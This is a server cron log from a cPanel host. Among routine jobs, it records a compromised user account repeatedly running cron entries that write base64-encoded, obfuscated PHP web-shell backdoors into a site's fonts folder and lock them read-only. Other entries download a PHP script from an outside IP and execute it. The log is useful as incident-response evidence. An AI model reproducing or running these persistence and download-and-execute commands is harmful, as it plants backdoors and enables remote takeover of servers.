Sep  5 08:58:01 ip-184-168-122-23 CROND[13622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:58:01 ip-184-168-122-23 CROND[13623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:58:01 ip-184-168-122-23 CROND[13624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:59:01 ip-184-168-122-23 CROND[13716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:59:01 ip-184-168-122-23 CROND[13719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:59:01 ip-184-168-122-23 CROND[13720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:59:01 ip-184-168-122-23 CROND[13718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:00:01 ip-184-168-122-23 CROND[13899]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:00:01 ip-184-168-122-23 CROND[13900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:00:01 ip-184-168-122-23 CROND[13898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:00:01 ip-184-168-122-23 CROND[13897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:00:01 ip-184-168-122-23 CROND[13903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:00:01 ip-184-168-122-23 CROND[13902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:00:01 ip-184-168-122-23 CROND[13896]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  5 09:00:01 ip-184-168-122-23 CROND[13904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:00:01 ip-184-168-122-23 CROND[13912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:01:01 ip-184-168-122-23 CROND[14035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:01:01 ip-184-168-122-23 CROND[14033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:01:01 ip-184-168-122-23 CROND[14036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 09:01:01 ip-184-168-122-23 CROND[14037]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 09:01:01 ip-184-168-122-23 CROND[14034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:01:01 ip-184-168-122-23 CROND[14038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14037]: starting 0anacron
Sep  5 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14053]: finished 0anacron
Sep  5 09:02:01 ip-184-168-122-23 CROND[14143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:02:01 ip-184-168-122-23 CROND[14144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:02:01 ip-184-168-122-23 CROND[14145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:02:01 ip-184-168-122-23 CROND[14147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:02:01 ip-184-168-122-23 CROND[14148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:03:01 ip-184-168-122-23 CROND[14248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:03:01 ip-184-168-122-23 CROND[14247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:03:01 ip-184-168-122-23 CROND[14249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:03:01 ip-184-168-122-23 CROND[14250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:04:01 ip-184-168-122-23 CROND[14357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:04:01 ip-184-168-122-23 CROND[14358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:04:01 ip-184-168-122-23 CROND[14360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:04:01 ip-184-168-122-23 CROND[14361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:04:01 ip-184-168-122-23 CROND[14359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:05:01 ip-184-168-122-23 CROND[14446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:05:01 ip-184-168-122-23 CROND[14449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:05:01 ip-184-168-122-23 CROND[14451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:05:01 ip-184-168-122-23 CROND[14450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:05:01 ip-184-168-122-23 CROND[14448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:05:01 ip-184-168-122-23 CROND[14453]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 09:05:01 ip-184-168-122-23 CROND[14452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:06:01 ip-184-168-122-23 CROND[14542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:06:01 ip-184-168-122-23 CROND[14547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:06:01 ip-184-168-122-23 CROND[14544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:06:01 ip-184-168-122-23 CROND[14545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:06:01 ip-184-168-122-23 CROND[14546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:07:01 ip-184-168-122-23 CROND[14650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:07:01 ip-184-168-122-23 CROND[14653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:07:01 ip-184-168-122-23 CROND[14651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:07:01 ip-184-168-122-23 CROND[14652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:08:01 ip-184-168-122-23 CROND[14747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:08:01 ip-184-168-122-23 CROND[14749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:08:01 ip-184-168-122-23 CROND[14750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:08:01 ip-184-168-122-23 CROND[14752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:08:01 ip-184-168-122-23 CROND[14751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:09:01 ip-184-168-122-23 CROND[14927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:09:01 ip-184-168-122-23 CROND[14928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:09:01 ip-184-168-122-23 CROND[14929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:09:01 ip-184-168-122-23 CROND[14931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:09:01 ip-184-168-122-23 CROND[14930]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 09:10:01 ip-184-168-122-23 CROND[15021]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:10:01 ip-184-168-122-23 CROND[15024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:10:01 ip-184-168-122-23 CROND[15027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
